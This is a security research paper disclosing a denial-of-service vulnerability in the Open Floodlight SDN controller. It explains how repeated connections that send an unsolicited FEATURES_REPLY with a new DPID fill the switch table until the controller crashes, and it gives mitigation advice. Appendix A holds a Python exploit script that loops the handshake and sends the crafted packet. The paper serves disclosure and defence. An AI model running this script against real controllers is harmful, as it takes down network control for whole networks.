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Open Floodlight is an open-source software-defined network controller, the brains of an 
OpenFlow-based network where the switches act as forwarding devices, leaving the 
controller to make decisions about flows and routing. In this paper we demonstrate a 
vulnerability in the OpenFlow interface of the Open Floodlight SDN controller which 
allows an attacker to overflow the internal data structures used for tracking the switches in 
the network and their ports. This overflow causes full CPU utilization, effectively denying 
controller functionality, and eventually crashes the Open Floodlight service. 

Introduction 
The recent explosion in interest in software-defined networking (SDN) has a number of vendors 
and open-source projects working hard to get their products into the marketspace. With this hurry 
comes significant concern that security may be left behind. There are numerous flavors of SDN in 
the market, but we are specifically interested in OpenFlow-enabled networks here. 
 

 
Figure 1: Schematic diagram of an OpenFlow-based network1 

 
As illustrated in Figure 1, an OpenFlow-based network has two major components: switches which 
provide the actual forwarding of traffic on the managed network, and a controller which makes all 
decisions for the switches about where packets and frames should be forwarded. (For those familiar 
with lightweight wireless network architectures, the setup is very similar.) OpenFlow switches 
operate in a similar manner to traditional switches, but more robustly: when a frame arrives on a 
port, the switch matches it against its flow table, and uses that to make a forwarding decision. 

                                                 
1 Image taken from http://archive.openflow.org/wp/deploy-labsetup/, 28 December 2013 
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Unlike traditional MAC address tables, a flow table entry records characteristics of a frame other 
than destination MAC address, including TCP and IP layer information; a Layer 3 switch provides a 
good comparison. The key difference between a traditional switched network and an OpenFlow 
network is when a switch encounters a new flow; rather than making a decision based on its own 
programming, the switch forwards a portion of the frame to the controller. The controller makes a 
forwarding decision for the flow, and pushes this information back to the switch, which installs this 
new instruction in its flow table. Thus additional frames/packets in the same flow do not need to be 
referenced to the controller, though flow table entries will eventually age out based on either lack of 
use or a “hard timeout” limit, if set by the controller when the flow is installed. 
 
Benton, et. al. (1) have investigated vulnerabilities inherent in the OpenFlow protocol, specifically 
denial of service attacks as well as integrity attacks against the switch flow tables. They also note that 
widespread lack of conformance to the OpenFlow standard’s mandate for TLS protection of switch-
to-controller communications is a significant vulnerability. 
 
Open Floodlight (2) is a popular implementation of an OpenFlow controller, being both free to use 
and relatively easy to get up and running. Solomon, et. al. (3) have set up a test network with an 
Open Floodlight controller, managing a network of switches implemented with Open vSwitch, a 
free OpenFlow-enabled switch that runs on a general purpose processor. In this network, the 
authors conduct a distributed denial of service (DDoS) attack against Open Floodlight with user 
machines on the managed network, cleverly stimulating the switches to send OpenFlow “packet-in” 
messages to the Open Floodlight controller that consume its resources. 
 
Our interest here is to analyze any performance- or security-related effects the processing of 
OpenFlow protocol units (either malformed or in unexpected contexts) can have on the Open 
Floodlight controller. The author (4) has previously published a Denial of Service attack against 
Open Floodlight that exploited an authentication failure of the controller to selectively deny service 
to individual switches in the network. 
 
In this paper we examine the effect that various OpenFlow messages have on populating Open 
Floodlight’s internal switch and port tracking data structures. These data structures are primarily 
populated by two types of messages from the switch: FEATURES_REPLY and PORT_STATUS. 
FEATURES_REPLY messages are used in the OpenFlow application-level handshake, where the 
switch introduces its basic properties to the controller. PORT_STATUS messages can be used by 
the switch at any time to indicate the addition, modification, or deletion of ports to the controller. 
 
Because we are specifically interested in the OpenFlow protocol, we assume that the attack machine 
has access to the control network, rather than just access to the managed OpenFlow network. Other 
assumptions in this research: 

1. The Open Floodlight controller we explored is the Floodlight VM Appliance, downloaded 
19 December 2013 from http://floodlight-download.projectfloodlight.org. We verified that 
this virtual appliance runs version 0.90 of the Open Floodlight code, which implements 
OpenFlow v1.0 (5). Other than providing a static IP address to the controller, no other 
configuration was performed on this VM. 

2. We utilized Open vSwitch switches to create our SDN network. It is possible that some of 
the information elements we study here are specific to the Open vSwitch software, but we 
have tried to minimize its influence on this research. 
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3. Our attack machine has network access to the OpenFlow control network. Moreover, we 
assume the attacker has full control over the configuration of this machine, and can change 
this configuration during attack operations. 

The OpenFlow Messages 
As stated our interest here is in version 1.0 of the OpenFlow protocol. OpenFlow utilizes TCP for 
transport, specifically port 6633. Once the TCP session is established, the OpenFlow controller and 
switch conduct an application-layer “handshake”, as detailed in Table 1. After the handshake is 
complete, the channel is full duplex, and either switch or controller may send messages as needed. 
 

OpenFlow Switch  OpenFlow Controller 

TCP Connect � Port 6633 

  OF HELLO 

OF HELLO �  

  OF FEATURES_REQUEST 

OF FEATURES_REPLY �  

  

OF SET_CONFIG 

OF GET_CONFIG_REQUEST 

OF STATS_REQUEST 

OF GET_CONFIG_REPLY 

OF STATS_REPLY 
�  

  OF FLOW_MOD 

Table 1: OpenFlow negotiation between controller and switch 
 
OpenFlow has 22 different types of messages, way too many to detail here. The important message 
for us to consider is the FEATURES_REPLY message. The FEATURES_REPLY message is sent 
by the switch at the request of the controller, which sends a FEATURES_REQUEST as part of the 
OpenFlow handshake. According to the OpenFlow v1.0 specification (5), the FEATURES_REPLY 
contains information about the switch, including its datapath_id (DPID, a unique identifier for the 
switch), and several other technical items. In the context of the handshake in Table 1, this is the first 
message in which the DPID appears, so it is used to define the switch within at least some of the 
controller’s internal data structures. 
 
In addition this FEATURES_REPLY message should contain “an array of ofp_phy_port  
structures that describe all the physical ports in the system that support OpenFlow.” Each 
ofp_phy_port  structure is a 48 byte description of the physical port on the switch. It includes a 
two-byte port number, a six-byte hardware (MAC) address, and a descriptive name of up to sixteen 
characters; in the protocol specification, the name is null-padded to sixteen characters. The 
remaining fields describe the features and state of the port, most of which are used to support the 
Spanning Tree Protocol (STP).  
 

Filling the Switch Table 
When an OpenFlow-enabled switch completes the handshake, the controller keeps a record of the 
switch and all of its ports. The easiest way to see this data is to query the controller’s REST API, 
which is open by default without authentication on port 8080 of the controller, via the call 
“/wm/core/controller/switches/json”. A typical entry, in JSON format, contains the following 
information: (note that whitespace has been edited for readability) 
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{ "actions":4095, 
  "dpid":"00:00:6e:a9:fa:07:6f:49", 
 "attributes":{"supportsOfppFlood":true, 
   "FastWildcards":4194303,  
  "DescriptionData":{"length":1056, "manufacturerDe scription":"Nicira, Inc.", 
   "hardwareDescription":"Open vSwitch", 
   "softwareDescription":"1.9.3", 
   "serialNumber":"None", 
   "datapathDescription":"None"}, 
  "supportsOfppTable":true}, 
 "role":null, 
 "ports":[{"name":"br10", 
  "state":1, 
  "hardwareAddress":"6e:a9:fa:07:6f:49", 
  "portNumber":65534, 
  "config":1, 
  "currentFeatures":0, 
  "advertisedFeatures":0, 
  "supportedFeatures":0, 
  "peerFeatures":0}], 
 "buffers":256, 
 "connectedSince":1392145259249, 
 "capabilities":199, 
 "tables":-1, 
 "inetAddress":"/10.200.100.161:59164"} 

 
Much of the information in this record was populated by the original FEATURES_REPLY message 
from the switch, except: 

• the inetAddress and connectedSince fields, populated based on the initial TCP connection 
from the switch; 

• the role field, which is an Open Floodlight internal field describing master/slave roles in 
multi-controller scenarios; and 

• the DescriptionData field, populated by the STATS_REPLY message in the handshake. 
 
The principal method by which this record can be modified is through PORT_STATUS messages, 
which can be used by the switch to add, modify, or delete ports from the switch. So if our goal is to 
overflow the switch table, theoretically one could connect to the controller, emulating a switch, and 
start adding fictional ports using PORT_STATUS messages.  
 
Two constraints make this attack infeasible. First, because the port number is a 16-bit integer a 
switch can only have 65536 different ports; we have verified that a PORT_STATUS message sent to 
add a new port with a duplicate port number replaces the old port information. While the controller 
CPU utilization does increase as the number of ports it is tracking increases, it does not cause any 
noticeable degradation of service. Second, as soon as the attacker disconnects from the controller, all 
of its associated ports are removed from the controller, meaning the switch quickly reverts to 
normal operation. 
 
Suppose we send another FEATURES_REPLY message after the handshake is complete, 
unsolicited by the controller. The natural choice is to send a normal FEATURES_REPLY message 
with a new port in the body. The controller is not happy at receiving an unsolicited 
FEATURES_REPLY, giving the following error in the log: 
 

2014-02-27T00:45:35.340310+00:00 localhost floodlig ht: ERROR 
[net.floodlightcontroller.core.internal.OFSwitchImp l:New I/O server worker #1-2] 
Switch OFSwitchImpl [/10.200.100.199:35376 DPID[ab: cd:ee:ff:00:11:22:33]]: 
received unexpected featureReply 
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Moreover, the controller does not add the port from the second FEATURES_REPLY message to 
its tracking structures, leaving just the port from the original FEATURES_REPLY; this is verified 
by viewing the results of the “/wm/core/controller/switches/json” API call. 
 
However if we malform the second FEATURES_REPLY by changing the DPID to a new value, 
something interesting happens. The controller still is not happy, and logs the same “received 
unexpected featureReply” as before, but interestingly it reports this error with the new DPID, not 
the one from the original FEATURES_REPLY. Moreover, when making the 
“/wm/core/controller/switches/json” API call, the switch is listed with the new DPID, but the 
port associated with the switch is the port from the original FEATURES_REPLY, not the 
malformed one. 
 
The significance of this is that once our emulated switch disconnects, the switch entry is not 
removed from the switch table on the controller. In fact, the only way to remove this data appears 
to be to restart the controller service. This gives us the kernel of an attack. 
 
To implement the attack, we create a script that repeatedly connects to the controller, successfully 
completing the OpenFlow handshake, and then sending a FEATURES_REPLY with a different 
DPID. (Attack code is given in Appendix A.) As the script runs, it leaves a single entry in the switch 
table with every execution. Gradually more and more memory is consumed by the switch table, and 
more and more CPU time is taken up in garbage collection. 
 
Eventually, the controller becomes sufficiently “brain-damaged” that it cannot maintain connections 
to the existing switches, and we begin to see “IO Error: Broken pipe” errors in the controller logs, 
and at this point the controller is effectively disabled. But if we continue to press, we eventually 
crash the controller process, with log entries: 
2014-02-11T00:05:43.702189+00:00 localhost floodlig ht: # java.lang.OutOfMemoryError: Java heap 
space 
2014-02-11T00:05:43.702454+00:00 localhost floodlig ht: # -XX:OnOutOfMemoryError="kill -9 %p" 
2014-02-11T00:05:43.703612+00:00 localhost floodlig ht: #   Executing /bin/sh -c "kill -9 985"... 
 

This attack is not quick. Our virtual controller has 2 GB of RAM, and it took approximately 90 
minutes for the attack script to crash the server, though service was effectively denied before that. 
However it is important to note that the attack is cumulative; as long as the controller is not 
restarted, entries left in the switch table using this vulnerability are never cleared out. 

Recommendations 
The vulnerability illustrated in this paper does not seem amenable to easy mitigation, other than by 
rigorously following the configuration guidance to isolate the OpenFlow control network so that no 
devices other than switches and controllers have interfaces on this network. One can monitor the 
“/wm/core/controller/switches/json” API results on a periodic basis, since these should only 
change with a network topology change. 
 
For the developer, this should be a relatively easy fix; if a FEATURES_REPLY message is received 
out of turn, simply discard it. No OpenFlow compliant switch should be such messages unsolicited, 
so there seems no legitimate reason to process them at all. 

About Dover Networks 
Dover Networks is a small firm focused on analytical cybersecurity; thoroughly grounded in the 
mechanics of cybersecurity, but with the value-add of thoughtful analysis, drawing from our decades 
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of combined experience and expertise in cyber operations. Our personnel have experience in the full 
lifecycle of cyber operations: vulnerability research and development; software and systems 
engineering; integration and test; and operations support including targeting and training. Please 
check out our website http://www.dovernetworks.com for more information about our research, 
capabilities and engagement. 
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Appendix A: Attack code  
 

The following code is implemented in Python and uses an external library we have developed to 
implement the OpenFlow protocol in scapy. For brevity we’ve omitted the library, but the protocol 
names are taken directly from the OpenFlow standard and should not present a problem to an 
implementer. 
 
#!/usr/bin/python 
 
import sys 
import time 
import socket 
import random 
 
from OFscapy import * 
 
# Scapy parameters 
conf.verb = False 
 
# Session parameters 
dIP = sys.argv[1] 
dPort = int(sys.argv[2]) 
port_id = "port" 
 
addr = "ee:ff:00:11:22:33" 
dPID = "ab:cd:" + addr 
 
# Craft the evil packet 
p = OpenFlow()/OFPT_FEATURES_REPLY(DPID=RandDPID()) /OFP_PHY_PORT(port_no=65534, 
hw_addr=RandMAC(), portName="evilport", config=1, s tate=1) 
 
# Create the handshake packets once 
m1 = OpenFlow()/OFPT_HELLO() 
m2 = OpenFlow()/OFPT_FEATURES_REPLY(DPID = RandDPID (), n_buffers=256, capabilities = 199, actions 
= 4095)/OFP_PHY_PORT(port_no = 65534, hw_addr = add r, portName = port_id, config = 1, state = 1) 
m3 = OpenFlow()/OFPT_GET_CONFIG_REPLY(miss_send_len  = 65535) 
m4 = OpenFlow()/OFPT_STATS_REPLY(statType=0)/OFP_DE SC_STATS_REPLY(mfr_desc='Nicira, Inc', 
hw_desc='Open vSwitch', sw_desc='1.9.3', serial_num ='None', dp_desc='None') 
 
while 1: 
  # Try to make the connection to the server 
  try: 
    s = socket.socket(socket.AF_INET,socket.SOCK_ST REAM) 
    s.connect((dIP,dPort)) 
    ss = StreamSocket(s,Raw) 
  except socket.error,e: 
    print e[0] 
    exit() 
 
  r0 = OpenFlow(s.recv(2048)) 
  if type(r0.payload) is OFPT_HELLO: print "Receive d:      HELLO" 
  else:  r0.show() 
 
  # Send HELLO 
  try: 
    print "Sending:       HELLO" 
    m1.xID = r0.xID 
    r = OpenFlow(ss.sr1(Raw(str(m1))).load) 
    if type(r.payload) is OFPT_FEATURES_REQUEST: pr int "Received:      FEATURES_REQUEST" 
    else: 
      print "Received:      " 
      r.show() 
  except socket.error,e: 
    print "Socket closed: by server" 
    exit() 
 
  # Sending FEATURES_REPLY 
  try: 
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    print "Sending:       FEATURES_REPLY" 
    m2.xID = r0.xID 
    r2 = OpenFlow(ss.sr1(Raw(str(m2))).load) 
    r3 = OpenFlow(r2.payload.payload.load) 
    r4 = OpenFlow(r3.payload.payload.load) 
    if (type(r2.payload) is OFPT_SET_CONFIG) and (t ype(r3.payload) is OFPT_GET_CONFIG_REQUEST) 
and (type(r4.payload) is OFPT_STATS_REQUEST): print  "Continued:     handshake" 
    else: 
      print "Received:      " 
      r2.show() 
  except socket.error,e: 
    print "Socket closed: by server" 
    exit() 
  except AttributeError,e: 
    # Probably no big deal...might not have caught all three messages at the same time 
    pass 
 
  # Send GET_CONFIG_REPLY and STATS_REPLY 
  try: 
    # Note: we do not necessarily expect a reply af ter GET_CONFIG_REPLY 
    print "Sending:       GET_CONFIG_REPLY" 
    ss.send(Raw(str(m3))) 
  except socket.error,e: 
    print "Socket closed: by server" 
    exit() 
 
  try: 
    print "Sending:       STATS_REPLY" 
    r4 = OpenFlow(ss.sr1(Raw(str(m4))).load) 
    if (type(r4.payload) is OFPT_FLOW_MOD): print " Received:      FLOW_MOD" 
    else: 
      print "Received:      " 
      r4.show() 
  except socket.error,e: 
    print "Socket closed: by server" 
    exit() 
 
  ## END HANDSHAKE 
  ## Send the crafted packet 
  try: 
    print "Sending:       craft packet " 
    ss.send(Raw(str(p))) 
  except socket.error,e: 
    print "Socket closed: by server" 


